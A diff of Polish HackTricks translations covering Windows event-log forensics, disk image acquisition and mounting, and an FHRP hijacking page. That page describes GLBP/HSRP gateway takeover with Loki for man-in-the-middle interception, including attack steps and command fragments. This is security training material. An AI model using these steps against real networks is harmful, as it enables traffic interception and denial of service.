||||||
- **Usługa (5)**: Uruchomienia usług.
|
- **Usługa (5)**: Uruchamianie usługi.
|
||||||
- **Proxy (6)**: Uwierzytelnianie proxy.
|
- **Proxy (6)**: Uwierzytelnianie proxy.
|
||||||
- **Odblokuj (7)**: Odblokowanie ekranu za pomocą hasła.
|
- **Odblokuj (7)**: Odblokowanie ekranu za pomocą hasła.
|
||||||
- **Sieć w tekście jawnym (8)**: Przesyłanie hasła w tekście jawnym, często z IIS.
|
- **Sieć w tekście jawnym (8)**: Przesyłanie hasła w tekście jawnym, często z IIS.
|
||||||
- **Nowe poświadczenia (9)**: Użycie innych poświadczeń do dostępu.
|
- **Nowe poświadczenia (9)**: Użycie innych poświadczeń do dostępu.
|
||||||
- **Zdalne interaktywne (10)**: Logowanie zdalne pulpitu lub usług terminalowych.
|
- **Zdalne interaktywne (10)**: Logowanie zdalne pulpitu zdalnego lub usług terminalowych.
|
||||||
- **Interaktywne buforowane (11)**: Logowanie z buforowanymi poświadczeniami bez kontaktu z kontrolerem domeny.
|
- **Interaktywne pamięci podręcznej (11)**: Logowanie z pamięcią podręczną bez kontaktu z kontrolerem domeny.
|
||||||
- **Zdalne interaktywne buforowane (12)**: Zdalne logowanie z buforowanymi poświadczeniami.
|
- **Zdalne interaktywne pamięci podręcznej (12)**: Zdalne logowanie z pamięcią podręczną.
|
||||||
- **Odblokowanie buforowane (13)**: Odblokowanie z buforowanymi poświadczeniami.
|
- **Odblokowanie z pamięci podręcznej (13)**: Odblokowanie z pamięci podręcznej.
|
||||||
|
|
||||||
#### Kody stanu i podkody stanu dla EventID 4625:
|
#### Kody stanu i podkody stanu dla EventID 4625:
|
||||||
|
|
||||||
|
@ -448,23 +448,23 @@ Zdarzenia dostępu są rejestrowane w pliku konfiguracji bezpieczeństwa znajduj
|
||||||
- **0xC0000072**: Konto wyłączone - Nieautoryzowane próby dostępu do wyłączonych kont.
|
- **0xC0000072**: Konto wyłączone - Nieautoryzowane próby dostępu do wyłączonych kont.
|
||||||
- **0xC000006F**: Logowanie poza dozwolonym czasem - Wskazuje na próby dostępu poza ustalonymi godzinami logowania, co może być oznaką nieautoryzowanego dostępu.
|
- **0xC000006F**: Logowanie poza dozwolonym czasem - Wskazuje na próby dostępu poza ustalonymi godzinami logowania, co może być oznaką nieautoryzowanego dostępu.
|
||||||
- **0xC0000070**: Naruszenie ograniczeń stacji roboczej - Może być próbą logowania z nieautoryzowanego miejsca.
|
- **0xC0000070**: Naruszenie ograniczeń stacji roboczej - Może być próbą logowania z nieautoryzowanego miejsca.
|
||||||
- **0xC0000193**: Wygaśnięcie konta - Próby dostępu do kont z wygasłymi kontami użytkowników.
|
- **0xC0000193**: Wygaśnięcie konta - Próby dostępu do kont z wygasłymi użytkownikami.
|
||||||
- **0xC0000071**: Wygasłe hasło - Próby logowania przy użyciu przestarzałych haseł.
|
- **0xC0000071**: Wygasłe hasło - Próby logowania przy przestarzałych hasłach.
|
||||||
- **0xC0000133**: Problemy z synchronizacją czasu - Duże rozbieżności czasowe między klientem a serwerem mogą wskazywać na bardziej zaawansowane ataki, takie jak pass-the-ticket.
|
- **0xC0000133**: Problemy z synchronizacją czasu - Duże rozbieżności czasowe między klientem a serwerem mogą wskazywać na bardziej zaawansowane ataki, takie jak pass-the-ticket.
|
||||||
- **0xC0000224**: Wymagana zmiana hasła obowiązkowa - Częste obowiązkowe zmiany mogą sugerować próbę destabilizacji bezpieczeństwa konta.
|
- **0xC0000224**: Wymagana zmiana hasła obowiązkowa - Częste obowiązkowe zmiany mogą sugerować próbę destabilizacji bezpieczeństwa konta.
|
||||||
- **0xC0000225**: Wskazuje na problem systemowy, a nie problem z bezpieczeństwem.
|
- **0xC0000225**: Wskazuje na błąd systemu, a nie problem z bezpieczeństwem.
|
||||||
- **0xC000015b**: Odmowa typu logowania - Próba dostępu z nieautoryzowanym typem logowania, na przykład użytkownik próbujący wykonać logowanie usługi.
|
- **0xC000015b**: Odmowa typu logowania - Próba dostępu z nieautoryzowanym typem logowania, na przykład użytkownik próbujący wykonać logowanie usługi.
|
||||||
|
|
||||||
#### EventID 4616:
|
#### EventID 4616:
|
||||||
- **Zmiana czasu**: Modyfikacja czasu systemowego, która może zaciemnić chronologię zdarzeń.
|
- **Zmiana czasu**: Modyfikacja czasu systemowego, która może zaciemnić chronologię zdarzeń.
|
||||||
|
|
||||||
#### EventID 6005 i 6006:
|
#### EventID 6005 i 6006:
|
||||||
- **Uruchomienie i Wyłączenie Systemu**: EventID 6005 oznacza uruchomienie systemu, a EventID 6006 oznacza jego wyłączenie.
|
- **Uruchomienie i wyłączenie systemu**: EventID 6005 oznacza uruchomienie systemu, a EventID 6006 jego wyłączenie.
|
||||||
|
|
||||||
#### EventID 1102:
|
#### EventID 1102:
|
||||||
- **Usuwanie logów**: Czyszczenie logów bezpieczeństwa, co często jest sygnałem ostrzegawczym ukrywania nielegalnych działań.
|
- **Usuwanie logów**: Czyszczenie logów bezpieczeństwa, co często jest sygnałem ostrzegawczym ukrywania nielegalnych działań.
|
||||||
|
|
||||||
#### EventID dla Śledzenia Urządzeń USB:
|
#### EventID dla śledzenia urządzeń USB:
|
||||||
- **20001 / 20003 / 10000**: Pierwsze podłączenie urządzenia USB.
|
- **20001 / 20003 / 10000**: Pierwsze podłączenie urządzenia USB.
|
||||||
- **10100**: Aktualizacja sterownika USB.
|
- **10100**: Aktualizacja sterownika USB.
|
||||||
- **EventID 112**: Czas włożenia urządzenia USB.
|
- **EventID 112**: Czas włożenia urządzenia USB.
|
||||||
|
@ -473,33 +473,48 @@ Dla praktycznych przykładów symulowania tych typów logowań i możliwości wy
|
||||||
|
|
||||||
Szczegóły zdarzeń, w tym kody stanu i podkody stanu, dostarczają dalszych informacji na temat przyczyn zdarzeń, szczególnie istotne w przypadku Event ID 4625.
|
Szczegóły zdarzeń, w tym kody stanu i podkody stanu, dostarczają dalszych informacji na temat przyczyn zdarzeń, szczególnie istotne w przypadku Event ID 4625.
|
||||||
|
|
||||||
### Odzyskiwanie Zdarzeń Systemu Windows
|
### Odzyskiwanie zdarzeń systemu Windows
|
||||||
|
|
||||||
Aby zwiększyć szanse na odzyskanie usuniętych zdarzeń systemu Windows, zaleca się wyłączenie podejrzanego komputera poprzez bezpośrednie odłączenie go od zasilania. Zalecane jest użycie narzędzia do odzyskiwania **Bulk_extractor**, które obsługuje rozszerzenie `.evtx`, w celu próby odzyskania takich zdarzeń.
|
Aby zwiększyć szanse na odzyskanie usuniętych zdarzeń systemu Windows, zaleca się wyłączenie podejrzanego komputera, odłączając go bezpośrednio. Zalecane jest użycie narzędzia do odzyskiwania **Bulk_extractor**, które obsługuje rozszerzenie `.evtx`, aby spróbować odzyskać takie zdarzenia.
|
||||||
|
|
||||||
### Identyfikacja Powszechnych Ataków za pomocą Zdarzeń Systemu Windows
|
### Identyfikacja powszechnych ataków za pomocą zdarzeń systemu Windows
|
||||||
|
|
||||||
Aby uzyskać kompleksowy przewodnik dotyczący wykorzystania identyfikatorów zdarzeń systemu Windows w identyfikowaniu powszechnych ataków cybernetycznych, odwiedź [Red Team Recipe](https://redteamrecipe.com/event-codes/).
|
Aby uzyskać kompleksowy przewodnik dotyczący wykorzystania identyfikatorów zdarzeń systemu Windows w identyfikowaniu powszechnych ataków cybernetycznych, odwiedź [Red Team Recipe](https://redteamrecipe.com/event-codes/).
|
||||||
|
|
||||||
#### Ataki Brute Force
|
#### Ataki brutalnej siły
|
||||||
|
|
||||||
Można je zidentyfikować poprzez wielokrotne zapisy EventID 4625, a następnie EventID 4624, jeśli atak się powiedzie.
|
Można je zidentyfikować poprzez wielokrotne zapisy EventID 4625, a następnie EventID 4624, jeśli atak się powiedzie.
|
||||||
|
|
||||||
#### Zmiana Czasu
|
#### Zmiana czasu
|
||||||
|
|
||||||
Rejestrowana przez EventID 4616, zmiany czasu systemowego mogą utrudnić analizę śledzenia.
|
Rejestrowana przez EventID 4616, zmiany czasu systemowego mogą utrudnić analizę śledcza.
|
||||||
|
|
||||||
#### Śledzenie Urządzeń USB
|
#### Śledzenie urządzeń USB
|
||||||
|
|
||||||
Przydatne EventID Systemu dla śledzenia urządzeń USB obejmują 20001/20003/10000 dla pierwszego użycia, 10100 dla aktualizacji sterownika oraz EventID 112 z DeviceSetupManager dla znaczników czasowych włożenia urządzenia.
|
Przydatne EventID systemowe do śledzenia urządzeń USB obejmują 20001/20003/10000 dla pierwszego użycia, 10100 dla aktualizacji sterowników oraz EventID 112 z DeviceSetupManager dla znaczników czasowych włożenia urządzenia.
|
||||||
#### Zdarzenia zasilania systemu
|
#### Zdarzenia zasilania systemu
|
||||||
|
|
||||||
EventID 6005 wskazuje na uruchomienie systemu, podczas gdy EventID 6006 oznacza wyłączenie.
|
EventID 6005 wskazuje na uruchomienie systemu, podczas gdy EventID 6006 oznacza wyłączenie.
|
||||||
|
|
||||||
#### Usuwanie logów
|
#### Usuwanie logów
|
||||||
|
|
||||||
Zdarzenie bezpieczeństwa EventID 1102 sygnalizuje usunięcie logów, co jest istotne dla analizy śledczej.
|
Zdarzenie bezpieczeństwa EventID 1102 sygnalizuje usunięcie logów, co jest istotnym wydarzeniem dla analizy śledczej.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
@ -12,7 +12,7 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -37,7 +37,7 @@ ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --descript
|
||||||
```
|
```
|
||||||
### EWF
|
### EWF
|
||||||
|
|
||||||
Możesz wygenerować obraz dysku za pomocą [**narzędzi ewf**](https://github.com/libyal/libewf).
|
Możesz wygenerować obraz dysku, używając [**narzędzi ewf**](https://github.com/libyal/libewf).
|
||||||
```bash
|
```bash
|
||||||
ewfacquire /dev/sdb
|
ewfacquire /dev/sdb
|
||||||
#Name: evidence
|
#Name: evidence
|
||||||
|
@ -56,7 +56,7 @@ ewfacquire /dev/sdb
|
||||||
```
|
```
|
||||||
## Montowanie
|
## Montowanie
|
||||||
|
|
||||||
### Kilka typów
|
### Kilka rodzajów
|
||||||
|
|
||||||
W systemie **Windows** można spróbować skorzystać z darmowej wersji narzędzia Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)), aby **zamontować obraz z dziedziny informatyki śledczej**.
|
W systemie **Windows** można spróbować skorzystać z darmowej wersji narzędzia Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)), aby **zamontować obraz z dziedziny informatyki śledczej**.
|
||||||
|
|
||||||
|
@ -91,7 +91,7 @@ To aplikacja Windows do montowania woluminów. Możesz ją pobrać tutaj [https:
|
||||||
### Błędy
|
### Błędy
|
||||||
|
|
||||||
* **`nie można zamontować /dev/loop0 tylko do odczytu`** w tym przypadku należy użyć flag **`-o ro,norecovery`**
|
* **`nie można zamontować /dev/loop0 tylko do odczytu`** w tym przypadku należy użyć flag **`-o ro,norecovery`**
|
||||||
* **`zły typ systemu plików, zła opcja, zły superblok na /dev/loop0, brak strony kodowej lub programu pomocniczego, lub inny błąd.`** w tym przypadku montaż nie powiódł się, ponieważ przesunięcie systemu plików jest inne niż obrazu dysku. Musisz znaleźć rozmiar sektora i sektor początkowy:
|
* **`zły typ systemu plików, zła opcja, zły superblok na /dev/loop0, brak strony kodowej lub programu pomocniczego, lub inny błąd.`** w tym przypadku montaż nie powiódł się, ponieważ przesunięcie systemu plików różni się od obrazu dysku. Musisz znaleźć rozmiar sektora i sektor początkowy:
|
||||||
```bash
|
```bash
|
||||||
fdisk -l disk.img
|
fdisk -l disk.img
|
||||||
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
|
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
|
||||||
|
@ -104,11 +104,11 @@ Disk identifier: 0x00495395
|
||||||
Device Boot Start End Sectors Size Id Type
|
Device Boot Start End Sectors Size Id Type
|
||||||
disk.img1 2048 208895 206848 101M 1 FAT12
|
disk.img1 2048 208895 206848 101M 1 FAT12
|
||||||
```
|
```
|
||||||
Zauważ, że rozmiar sektora wynosi **512**, a początek to **2048**. Następnie zamontuj obraz w ten sposób:
|
Zauważ, że rozmiar sektora wynosi **512** a początek to **2048**. Następnie zamontuj obraz w ten sposób:
|
||||||
```bash
|
```bash
|
||||||
mount disk.img /mnt -o ro,offset=$((2048*512))
|
mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -116,7 +116,7 @@ mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
|
|
@ -2,51 +2,51 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## Przegląd Przechwytywania FHRP
|
## Przegląd Przechwytywania FHRP
|
||||||
|
|
||||||
### Wgląd w FHRP
|
### Wgląd w FHRP
|
||||||
FHRP został zaprojektowany w celu zapewnienia odporności sieci poprzez połączenie wielu routerów w jednostkę wirtualną, co zwiększa rozkład obciążenia i tolerancję na awarie. Cisco Systems wprowadził znaczące protokoły w tej grupie, takie jak GLBP i HSRP.
|
FHRP został zaprojektowany w celu zapewnienia odporności sieci poprzez połączenie wielu routerów w jednostkę wirtualną, co zwiększa dystrybucję obciążenia i tolerancję na awarie. Cisco Systems wprowadził prominentne protokoły w tej grupie, takie jak GLBP i HSRP.
|
||||||
|
|
||||||
### Wgląd w Protokół GLBP
|
### Wgląd w Protokół GLBP
|
||||||
Stworzony przez Cisco, GLBP działa na stosie TCP/IP, wykorzystując UDP na porcie 3222 do komunikacji. Routery w grupie GLBP wymieniają pakiety "hello" co 3 sekundy. Jeśli router nie wysyła tych pakietów przez 10 sekund, uznaje się go za offline. Jednak te timery nie są stałe i mogą być modyfikowane.
|
Stworzony przez Cisco, GLBP działa na stosie TCP/IP, wykorzystując UDP na porcie 3222 do komunikacji. Routery w grupie GLBP wymieniają pakiety "hello" co 3 sekundy. Jeśli router nie wyśle tych pakietów przez 10 sekund, uznaje się go za offline. Jednak te timery nie są stałe i mogą być modyfikowane.
|
||||||
|
|
||||||
### Operacje i Rozkład Obciążenia w GLBP
|
### Operacje i Dystrybucja Obciążenia w GLBP
|
||||||
GLBP wyróżnia się umożliwieniem rozkładu obciążenia między routerami za pomocą jednego wirtualnego IP w połączeniu z wieloma wirtualnymi adresami MAC. W grupie GLBP każdy router bierze udział w przekazywaniu pakietów. W odróżnieniu od HSRP/VRRP, GLBP oferuje rzeczywiste równoważenie obciążenia poprzez kilka mechanizmów:
|
GLBP wyróżnia się umożliwieniem dystrybucji obciążenia między routerami za pomocą jednego wirtualnego IP w połączeniu z wieloma wirtualnymi adresami MAC. W grupie GLBP każdy router bierze udział w przekazywaniu pakietów. W odróżnieniu od HSRP/VRRP, GLBP oferuje rzeczywiste równoważenie obciążenia poprzez kilka mechanizmów:
|
||||||
|
|
||||||
- **Równoważenie Obciążenia Zależne od Hosta:** Zapewnia stałe przypisanie adresu MAC AVF do hosta, co jest istotne dla stabilnych konfiguracji NAT.
|
- **Równoważenie Obciążenia Zależne od Hosta:** Zapewnia stałe przypisanie adresu MAC AVF do hosta, co jest istotne dla stabilnych konfiguracji NAT.
|
||||||
- **Równoważenie Obciążenia Round-Robin:** Domyślne podejście, polegające na zmianie przypisania adresu MAC AVF między żądającymi hostami.
|
- **Równoważenie Obciążenia Round-Robin:** Domyślne podejście, polegające na zmianie przypisania adresu MAC AVF między żądającymi hostami.
|
||||||
- **Równoważenie Obciążenia Ważone Round-Robin:** Rozkłada obciążenie na podstawie zdefiniowanych metryk "Waga".
|
- **Równoważenie Obciążenia Ważone Round-Robin:** Dystrybuuje obciążenie na podstawie zdefiniowanych metryk "Waga".
|
||||||
|
|
||||||
### Kluczowe Składniki i Terminologia w GLBP
|
### Kluczowe Składniki i Terminologia w GLBP
|
||||||
- **AVG (Aktywna Wirtualna Bramka):** Główny router odpowiedzialny za przydzielanie adresów MAC do routerów równorzędnych.
|
- **AVG (Aktywna Wirtualna Bramka):** Główny router odpowiedzialny za przydzielanie adresów MAC do routerów równorzędnych.
|
||||||
- **AVF (Aktywny Wirtualny Przekierowujący):** Router wyznaczony do zarządzania ruchem sieciowym.
|
- **AVF (Aktywny Wirtualny Przekierowujący):** Router wyznaczony do zarządzania ruchem sieciowym.
|
||||||
- **Priorytet GLBP:** Metryka określająca AVG, zaczynająca się od domyślnej wartości 100 i w zakresie od 1 do 255.
|
- **Priorytet GLBP:** Metryka określająca AVG, zaczynająca się od domyślnego wartości 100 i wahająca się od 1 do 255.
|
||||||
- **Waga GLBP:** Odzwierciedla obecne obciążenie routera, regulowana ręcznie lub poprzez Śledzenie Obiektów.
|
- **Waga GLBP:** Odzwierciedla obecne obciążenie routera, regulowane ręcznie lub poprzez Śledzenie Obiektów.
|
||||||
- **Wirtualny Adres IP GLBP:** Służy jako domyślna brama sieciowa dla wszystkich podłączonych urządzeń.
|
- **Wirtualny Adres IP GLBP:** Służy jako domyślna brama sieciowa dla wszystkich podłączonych urządzeń.
|
||||||
|
|
||||||
Do interakcji GLBP używa zarezerwowanego adresu multicastowego 224.0.0.102 i portu UDP 3222. Routery wysyłają pakiety "hello" co 3 sekundy i uznawane są za nieoperacyjne, jeśli pakiet zostanie pominięty przez okres 10 sekund.
|
Do interakcji GLBP używa zarezerwowanego adresu multicastowego 224.0.0.102 i portu UDP 3222. Routery wysyłają pakiety "hello" co 3 sekundy i uważane są za nieoperacyjne, jeśli pakiet zostanie pominięty przez okres 10 sekund.
|
||||||
|
|
||||||
### Mechanizm Ataku GLBP
|
### Mechanizm Ataku GLBP
|
||||||
Atakujący może stać się głównym routerem, wysyłając pakiet GLBP z najwyższą wartością priorytetu (255). Może to prowadzić do ataków typu DoS lub MITM, umożliwiając przechwycenie lub przekierowanie ruchu.
|
Atakujący może stać się głównym routerem, wysyłając pakiet GLBP z najwyższą wartością priorytetu (255). Może to prowadzić do ataków typu DoS lub MITM, umożliwiając przechwytywanie lub przekierowywanie ruchu.
|
||||||
|
|
||||||
### Wykonanie Ataku GLBP za pomocą Loki
|
### Wykonanie Ataku GLBP za pomocą Loki
|
||||||
[Loki](https://github.com/raizo62/loki_on_kali) może przeprowadzić atak GLBP poprzez wstrzyknięcie pakietu z ustawionym priorytetem i wagą na 255. Kroki przed atakiem obejmują zbieranie informacji, takich jak wirtualny adres IP, obecność uwierzytelnienia i wartości priorytetu routera, za pomocą narzędzi takich jak Wireshark.
|
[Loki](https://github.com/raizo62/loki_on_kali) może przeprowadzić atak GLBP poprzez wstrzyknięcie pakietu z ustawionym priorytetem i wagą na 255. Kroki przed atakiem obejmują zbieranie informacji, takich jak wirtualny adres IP, obecność uwierzytelnienia i wartości priorytetu routera za pomocą narzędzi takich jak Wireshark.
|
||||||
|
|
||||||
Kroki Ataku:
|
Kroki Ataku:
|
||||||
1. Przełącz się w tryb promiskuitywny i włącz przekazywanie IP.
|
1. Przełącz się w tryb promiskuitywny i włącz przekazywanie IP.
|
||||||
|
@ -57,9 +57,9 @@ Kroki Ataku:
|
||||||
6. Wdroż SNAT dla pełnej widoczności ruchu.
|
6. Wdroż SNAT dla pełnej widoczności ruchu.
|
||||||
7. Dostosuj trasowanie, aby zapewnić ciągły dostęp do internetu poprzez oryginalny router AVG.
|
7. Dostosuj trasowanie, aby zapewnić ciągły dostęp do internetu poprzez oryginalny router AVG.
|
||||||
|
|
||||||
Śledząc te kroki, atakujący umieszcza się jako "człowiek pośrodku", zdolny do przechwytywania i analizowania ruchu sieciowego, w tym danych niezaszyfrowanych lub wrażliwych.
|
Śledząc te kroki, atakujący pozycjonuje się jako "człowiek pośrodku", zdolny do przechwytywania i analizowania ruchu sieciowego, w tym danych niezaszyfrowanych lub wrażliwych.
|
||||||
|
|
||||||
Poniżej znajdują się wymagane fragmenty poleceń do demonstracji:
|
Dla celów demonstracyjnych, oto wymagane fragmenty poleceń:
|
||||||
```bash
|
```bash
|
||||||
# Enable promiscuous mode and IP forwarding
|
# Enable promiscuous mode and IP forwarding
|
||||||
sudo ip link set eth0 promisc on
|
sudo ip link set eth0 promisc on
|
||||||
|
@ -114,7 +114,7 @@ sudo ip link set eth0 promisc on
|
||||||
sudo sysctl -w net.ipv4.ip_forward=1
|
sudo sysctl -w net.ipv4.ip_forward=1
|
||||||
```
|
```
|
||||||
3. Użyj Lokiego, aby zaatakować określony router, wprowadź odszyfrowane hasło HSRP i wykonaj niezbędne konfiguracje do podszywania się pod Aktywnego Routera.
|
3. Użyj Lokiego, aby zaatakować określony router, wprowadź odszyfrowane hasło HSRP i wykonaj niezbędne konfiguracje do podszywania się pod Aktywnego Routera.
|
||||||
